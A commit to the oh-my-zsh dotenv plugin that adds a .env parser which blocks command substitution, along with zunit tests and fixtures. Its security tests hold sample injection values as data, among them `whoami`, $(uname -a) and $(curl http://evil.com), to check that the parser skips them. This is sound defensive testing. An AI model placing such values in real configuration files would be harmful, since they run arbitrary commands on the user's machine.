fix(dotenv): implement secure parsing for .env files and add comprehensive tests

This commit is contained in:
Marc Cornellà 2026-03-03 20:28:22 +01:00
commit 2014363332
10 changed files with 850 additions and 1 deletions

View file

@ -0,0 +1,9 @@
tap: false
directories:
tests: tests
output: tests/_output
support: tests/_support
time_limit: 0
fail_fast: false
allow_risky: false
verbose: true

View file

@ -86,6 +86,14 @@ mount `.env` files as named pipes to inject secrets on-the-fly without writing t
No additional configuration is required — the plugin automatically detects and sources named pipes.
## Tests
The tests use [zunit](https://github.com/zunit-zsh/zunit). Install it per its documentation, then run:
```sh
zunit plugins/dotenv/tests/test_run.sh
```
## Version Control
**It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only.

View file

@ -10,6 +10,138 @@
## Functions
parse_dotenv() {
setopt localoptions extendedglob
local filename="$1"
local mode="${2:-export}"
# Validate mode argument
case "$mode" in
export|test) ;;
*)
echo "parse_dotenv: invalid mode '$mode' (use 'export' or 'test')" >&2
return 1
;;
esac
local content node line key value
local -A parsed_vars
local -a nodes lines
# Read entire file
content="$(<$filename)" || return 1
# Parse into command lines separated by `;`, with built-in support for multi-line commands.
# (Z:C:) ignores comments and preserves quotes and escapes.
#
# All logical commands are separated by literal ';' elements, which allows us to reconstruct logical lines
# by joining all elements between ';'.
#
# Example input:
# VAR1=value1; VAR2=value2
# VAR3="multi
# line value"
#
# Result:
# typeset -a nodes=( 'VAR1=value1' ';' 'VAR2=value2' ';' $'VAR3="multi\nline value"' )
# typeset -a lines=( 'VAR1=value1' 'VAR2=value2' $'VAR3="multi\nline value"' )
#
nodes=("${(@Z:C:)content}" ";") # last ';' ensures we add the final command
for node in "${nodes[@]}"; do
if [[ "$node" == ";" ]]; then
if [[ -n "$line" ]]; then
lines+=("$line")
line=""
fi
continue
fi
[[ -z "$line" ]] || line+=" "
line="$node"
done
# typeset -p nodes lines
# Each line contains a single command line, we need to parse valid KEY=VALUE pairs
for line in "${lines[@]}"; do
# Strip leading 'export ' keyword
line="${line#export[ ]}"
# Match KEY=VALUE pattern
# "A name may be any sequence of alphanumeric characters and underscores"
# https://zsh.sourceforge.io/Doc/Release/Parameters.html#Parameters
if [[ ! "$line" =~ ^([a-zA-Z_][a-zA-Z0-9_]*)=(.*)$ ]]; then
continue
fi
key="${match[1]}"
value="${match[2]}"
# Use tokenization to split value with native shell parsing (handles quotes and escapes)
# Ignore any values that parse to multiple words, e.g. `BASE_URL=/ echo command run`
local -a words
words=("${(@z)value}")
if [[ ${#words} -ne 1 ]]; then
continue
fi
## START: FILTER COMMAND EXPANSION
#
# Filter lines with command expansion not in safe contexts
#
# Reader's note: this is actually a "best effort" check (works in tests), but
# only to prevent setting variables with command substitution. The actual effect
# of setting them would not be a vulnerability, because we use `typeset name=value`
# and value is a quoted string parsed by zsh itself with `${(Z:C:)content}`.
#
# What does this mean? If we remove remove this filter block, this is what happens:
#
# Input: DANGEROUS=$(echo this is a command)
# Output: DANGEROUS='$(echo this is a command)' (literal string, no command execution)
#
# Check for potential command substitution outside of safe contexts
local sq dq uq safe remainder
# - single-quoted strings: command substitution is literal there
sq="'[^']#'"
# - double-quoted strings, but NOT unescaped ` or $(
dq='"([^"$`\\]|\\.|\\$[^(\`])#"'
# - unquoted text, but NOT unescaped ` or $(
uq='([^$`'"'"'"\\]|\\.|\\$[^(\`])#'
safe="(${sq}|${dq}|${uq})#"
# Remove the longest safe prefix; what remains starts at first unsafe construct
remainder="${value##${~safe}}"
if [[ "$remainder" == *'$('* || "$remainder" == *'`'* ]]; then
continue
fi
## END: FILTER COMMAND EXPANSION
# Unquote the value to handle special characters and multiline values
value="${(Q)value}"
# Expand variables from in-file parsed vars (same as double-quoted)
local expanded="$value"
for var_name in "${(@k)parsed_vars}"; do
local var_value="${parsed_vars[$var_name]}"
expanded="${expanded//\$\{${var_name}\}/${var_value}}"
expanded="${expanded//\$${var_name}/${var_value}}"
done
value="$expanded"
# Store in parsed vars (for in-file expansion)
parsed_vars[$key]="$value"
# Normal mode: export the variable
if [[ "$mode" == "export" ]]; then
typeset -x "$key"="$value"
fi
done
# In test mode, set DOTENV_TEST_VARS
typeset -gA DOTENV_TEST_VARS
DOTENV_TEST_VARS=("${(@kv)parsed_vars}")
}
source_env() {
if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then
return
@ -58,7 +190,7 @@ source_env() {
}
setopt localoptions allexport
source $ZSH_DOTENV_FILE
parse_dotenv "$ZSH_DOTENV_FILE"
}
autoload -U add-zsh-hook

View file

@ -0,0 +1,2 @@
*
!.gitignore

View file

@ -0,0 +1,139 @@
#!/usr/bin/env zsh
# Bootstrap script for dotenv plugin tests
# This is sourced before any tests run and provides shared utilities
# Load the dotenv plugin
source "$PWD/dotenv.plugin.zsh"
ZSH_DOTENV_PROMPT=false
ZSH_DOTENV_FILE=/dev/null
# Helper: Parse dotenv file in test mode
_parse_dotenv_test() {
parse_dotenv "$1" "test"
}
# Helper: Parse dotenv file in export mode
_parse_dotenv_export() {
unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true
parse_dotenv "$1" "test"
for key in "${(k)DOTENV_TEST_VARS}"; do
typeset -x "$key"="${DOTENV_TEST_VARS[$key]}"
done
}
# Helper: Run parse_dotenv supressing stderr
_parse_dotenv_quiet() {
parse_dotenv "$@" 2>/dev/null
}
# Helper: Create a temporary test fixture
_create_temp_fixture() {
local fixture
fixture==(:) # Create temp file
echo "$fixture"
}
_write_temp_fixture() {
local fixture="$1"
> "$fixture"
}
# Helper: Source file with allexport and capture variables
# Usage: _source_with_allexport "file.env"
# Result is in DOTENV_SOURCE_VARS associative array
_source_with_allexport() {
local filename="$1"
# Source with allexport in a subshell with no exported variables
# The return and capture of the exported variables is a bit of a pain:
# 1. We first store the key=value pairs in $vars associative array, which is
# defined before allexport is set to avoid appearing in results.
# 2. Afterwards, we join all keys and values of the associative with null delimiters. With
# "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:)
# we join them with nulls.
# 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain
# empty values, and then uses it to populate an associative array.
# Don't try to understand this or change it unless you have to. Debugging is a nightmare.
typeset -gA DOTENV_SOURCE_VARS
DOTENV_SOURCE_VARS=("${(@0)"$(
local -A vars
# Clear all exports first
zmodload zsh/parameter
unset ${(k)parameters[(R)*export*]} 2>/dev/null || true
# Source file with allexport
setopt localoptions allexport
source "$filename"
# Set all exported variables into an associative array
for key in ${(k)parameters[(R)*export*]}; do
vars[$key]="${(P)key}"
done
print -rn -- "${(@kvpj:\0:)vars}"
)"}")
}
## ZUnit assertion helpers
_zunit_assert_function_exists() {
[[ "${+functions[$1]}" -eq 1 ]] && return 0
echo "Function '$1' does not exist"
exit 1
}
_zunit_assert_var_same_as() {
local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset}
if [[ $tvalue != $tcomp ]]; then
echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)"
exit 78
fi
# Special case for associative arrays
if [[ ${(Pt)1} == "association" ]]; then
local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}")
local -aU keys=("${(@k)value}" "${(@k)comparison}")
local ret=0 key
for key in "${keys[@]}"; do
# Key match checks
if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then
echo "'$1[$key]' is set"
ret=1
elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then
echo "'$1[$key]' is not set"
ret=1
# Value match checks
elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then
echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'"
ret=1
fi
done
exit $ret
fi
# Generic case
local value="${(P)1}" comparison="${(P)2}"
[[ "$value" != "$comparison" ]] || exit 0
echo "'$1' value mismatch: '$value' is not the same as '$comparison'"
exit 1
}
_zunit_assert_var_is_set() {
[[ -v "$1" ]] && return 0
echo "Variable '$1' is not set"
exit 1
}
_zunit_assert_var_is_not_set() {
[[ ! -v "$1" ]] && return 0
echo "Variable '$1' is set"
exit 1
}

View file

@ -0,0 +1,88 @@
# Consolidated dotenv test fixture from dotenv test suite
# Source: https://github.com/motdotla/dotenv/tree/master/tests
#
# Copyright (c) 2015, Scott Motte
# All rights reserved.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
# Basic assignments
BASIC=basic
# previous line intentionally left blank
AFTER_LINE=after_line
# Empty values
EMPTY=
EMPTY_SINGLE_QUOTES=''
EMPTY_DOUBLE_QUOTES=""
# Single quotes (literal, no expansion)
SINGLE_QUOTES='single_quotes'
SINGLE_QUOTES_SPACED=' single quotes '
DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
# Double quotes (with escapes)
DOUBLE_QUOTES="double_quotes"
DOUBLE_QUOTES_SPACED=" double quotes "
EXPAND_NEWLINES="expand\nnew\nlines"
# Unquoted (no escape expansion)
DONT_EXPAND_UNQUOTED=dontexpand\nnewlines
# Quotes inside quotes
DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
# Comments
# COMMENTS=work
INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
INLINE_COMMENTS_UNQUOTED=value # work
# Special characters
EQUAL_SIGNS=equals==
RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
USEREMAIL=therealnerdybeast@example.tld
# Multiline values with double quotes
MULTI_DOUBLE_QUOTED="THIS
IS
A
MULTILINE
STRING"
# Multiline values with single quotes
MULTI_SINGLE_QUOTED='THIS
IS
A
MULTILINE
STRING'
# Multiline PEM certificate
MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
u4QuUoobAgMBAAE=
-----END PUBLIC KEY-----"

View file

@ -0,0 +1,23 @@
# Export syntax
export EXPORTED_VAR=exported_value
export EXPORTED_EMPTY=
# Variable expansion (in-file forward references)
BASE_URL=https://api.example.com
API_ENDPOINT="${BASE_URL}/v1"
FULL_ENDPOINT=$BASE_URL/v2/users
COMBINED="${BASE_URL}_suffix"
# Testing multiline quoting edge cases
MULTILINE_UNQUOTED=This\ is\ a\ \
multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline
MULTILINE_DOUBLE_QUOTED="This is a \
multiline value that should be treated as a single line with an actual newline character"
MULTILINE_SINGLE_QUOTED='This is a \
multiline value that should be treated as a single line with a literal backslash and newline'
MULTILINE_MIXED_QUOTES="This is a \
multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside"
# Test for regressions
DATABASE_URL="postgres://user:pass@host/db;sslmode=require"
VAR_WITH_SEMICOLONS="value ; with ; semicolons"

View file

@ -0,0 +1,257 @@
#!/usr/bin/env zunit
@setup {
typeset -g fixture="$(_create_temp_fixture)"
typeset -gA expected_vars=()
}
@teardown {
[[ -f "$fixture" ]] && command rm -f "$fixture"
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
}
@test 'dotenv plugin loads successfully' {
assert "parse_dotenv" function_exists
assert "source_env" function_exists
}
@test 'parse returns error for unsupported mode' {
run _parse_dotenv_quiet "/dev/null" "export"
assert $state equals 0
run _parse_dotenv_quiet "/dev/null" "test"
assert $state equals 0
run _parse_dotenv_quiet "/dev/null" "invalid_mode"
assert $state equals 1
}
@test 'parse returns error for non-existent file' {
run _parse_dotenv_quiet "/nonexistent/path/.env" "test"
assert $state equals 1
}
@test 'parse basic variable assignment' {
> "$fixture" <<'EOF'
# Basic assignments
BASIC=basic
# previous line intentionally left blank
AFTER_LINE=after_line
EOF
expected_vars=(
BASIC 'basic'
AFTER_LINE 'after_line'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse empty values' {
> "$fixture" <<'EOF'
# Empty values
EMPTY=
EMPTY_SINGLE_QUOTES=''
EMPTY_DOUBLE_QUOTES=""
EOF
expected_vars=(
EMPTY ''
EMPTY_SINGLE_QUOTES ''
EMPTY_DOUBLE_QUOTES ''
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse single quoted values' {
> "$fixture" <<'EOF'
# Single quotes (literal, no expansion)
SINGLE_QUOTES='single_quotes'
SINGLE_QUOTES_SPACED=' single quotes '
DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
EOF
expected_vars=(
SINGLE_QUOTES 'single_quotes'
SINGLE_QUOTES_SPACED ' single quotes '
DONT_EXPAND_SQUOTED 'dontexpand\nnewlines'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse double quoted values' {
> "$fixture" <<'EOF'
# Double quotes (with escapes)
DOUBLE_QUOTES="double_quotes"
DOUBLE_QUOTES_SPACED=" double quotes "
EXPAND_NEWLINES="expand\nnew\nlines"
EOF
expected_vars=(
DOUBLE_QUOTES 'double_quotes'
DOUBLE_QUOTES_SPACED ' double quotes '
EXPAND_NEWLINES "expand\nnew\nlines"
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse unquoted values' {
> "$fixture" <<'EOF'
# Unquoted (no escape expansion)
DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines
EOF
expected_vars=(
DONT_EXPAND_UNQUOTED 'dontexpandnnewlines'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse quotes inside quotes' {
> "$fixture" <<'EOF'
# Quotes inside quotes
DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
EOF
expected_vars=(
DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes'
SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes"
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse inline comments' {
> "$fixture" <<'EOF'
# Comments
# COMMENTS=work
INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
INLINE_COMMENTS_UNQUOTED=value # work
EOF
expected_vars=(
INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes'
INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes'
INLINE_COMMENTS_UNQUOTED 'value'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse special characters' {
> "$fixture" <<'EOF'
# Special characters
EQUAL_SIGNS=equals==
RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
USEREMAIL=therealnerdybeast@example.tld
EOF
expected_vars=(
EQUAL_SIGNS 'equals=='
RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}'
USEREMAIL 'therealnerdybeast@example.tld'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse multiline values with mixed quotes' {
> "$fixture" <<'EOF'
# Multiline values with double quotes
MULTI_DOUBLE_QUOTED="THIS
IS
A
MULTILINE
STRING"
# Multiline values with single quotes
MULTI_SINGLE_QUOTED='THIS
IS
A
MULTILINE
STRING'
# Multiline PEM certificate
MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
u4QuUoobAgMBAAE=
-----END PUBLIC KEY-----"
EOF
expected_vars=(
MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse export syntax' {
> "$fixture" <<'EOF'
# Exported variables
export EXPORTED_VAR=exported_value
export EXPORTED_EMPTY=
EOF
expected_vars=(
EXPORTED_VAR 'exported_value'
EXPORTED_EMPTY ''
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse in-file variable expansion' {
> "$fixture" <<'EOF'
# Variable expansion (in-file forward references)
BASE_URL=https://api.example.com
API_ENDPOINT="${BASE_URL}/v1"
FULL_ENDPOINT=$BASE_URL/v2/users
COMBINED="${BASE_URL}_suffix"
EOF
expected_vars=(
BASE_URL 'https://api.example.com'
API_ENDPOINT 'https://api.example.com/v1'
FULL_ENDPOINT 'https://api.example.com/v2/users'
COMBINED 'https://api.example.com_suffix'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}

View file

@ -0,0 +1,27 @@
#!/usr/bin/env zunit
@setup {
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
}
@teardown {
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
}
@test 'compatibility: dotenvjs fixture matches native source' {
local fixture="${testdir:A}/_support/fixtures/dotenvjs.env"
_parse_dotenv_test "$fixture"
_source_with_allexport "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
}
@test 'compatibility: features fixture matches native source' {
local fixture="${testdir:A}/_support/fixtures/features.env"
_parse_dotenv_test "$fixture"
_source_with_allexport "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
}

View file

@ -0,0 +1,164 @@
#!/usr/bin/env zunit
@setup {
typeset -g fixture="$(_create_temp_fixture)"
typeset -gA expected_vars=()
}
@teardown {
[[ -f "$fixture" ]] && command rm -f "$fixture"
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
}
@test 'skip dangerous backtick command substitution' {
> "$fixture" <<'EOF'
# Should be skipped
DANGEROUS_BACKTICK=`whoami`
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip dangerous subshell command substitution' {
> "$fixture" <<'EOF'
# Should be skipped
DANGEROUS_SUBSHELL=$(date)
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip nested command substitution in double quotes' {
> "$fixture" <<'EOF'
# Should be skipped
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip multiple words (potential command execution)' {
> "$fixture" <<'EOF'
# Should be skipped - multiple words could execute commands
BASE_URL=/ echo command run
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'allow literal command substitution in single quotes' {
> "$fixture" <<'EOF'
# Single quotes make everything literal - should be parsed
SAFE_SINGLE_QUOTED='$(this is literal)'
SAFE_BACKTICK='`also literal`'
# Should also be parsed
SAFE_VAR=safe_value
EOF
expected_vars=(
SAFE_SINGLE_QUOTED '$(this is literal)'
SAFE_BACKTICK '`also literal`'
SAFE_VAR 'safe_value'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip backticks in unquoted values' {
> "$fixture" <<'EOF'
# Backticks in unquoted context - should be skipped
DANGEROUS_UNQUOTED=`echo danger`
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip dollar-paren in unquoted values' {
> "$fixture" <<'EOF'
# Command substitution in unquoted context - should be skipped
DANGEROUS_UNQUOTED=$(uname -a)
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'allow safe dollar signs (variable refs without parens in single quotes)' {
> "$fixture" <<'EOF'
# Dollar signs that don't start command substitution
SAFE_DOLLARS='$HOME is literal'
SAFE_PRICE='Cost is $50'
SAFE_VAR='value$123'
# Should all be parsed
SAFE_VAR2=safe_value
EOF
expected_vars=(
SAFE_DOLLARS '$HOME is literal'
SAFE_PRICE 'Cost is $50'
SAFE_VAR 'value$123'
SAFE_VAR2 'safe_value'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip quoted command substitution' {
> "$fixture" <<'EOF'
HARMLESS_COMMAND="\$(echo)"
ANOTHER_ONE=$'\x24\x28echo\x29'
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'comprehensive security test with mixed safe and dangerous patterns' {
> "$fixture" <<'EOF'
# These should be SKIPPED (dangerous)
DANGEROUS_BACKTICK=`whoami`
DANGEROUS_SUBSHELL=$(date)
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
LOOKS_SAFE=$(curl http://evil.com)
BASE_URL=/ echo command run
# These should WORK (safe)
SAFE_BEFORE=safe_value_1
SAFE_AFTER=safe_value_2
SAFE_SINGLE_QUOTED='$(this is literal)'
SAFE_SINGLE_QUOTED2='`also literal`'
SAFE_DOLLARS='$HOME'
SAFE_PRICE="$50"
EOF
expected_vars=(
SAFE_BEFORE 'safe_value_1'
SAFE_AFTER 'safe_value_2'
SAFE_SINGLE_QUOTED '$(this is literal)'
SAFE_SINGLE_QUOTED2 '`also literal`'
SAFE_DOLLARS '$HOME'
SAFE_PRICE '$50'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}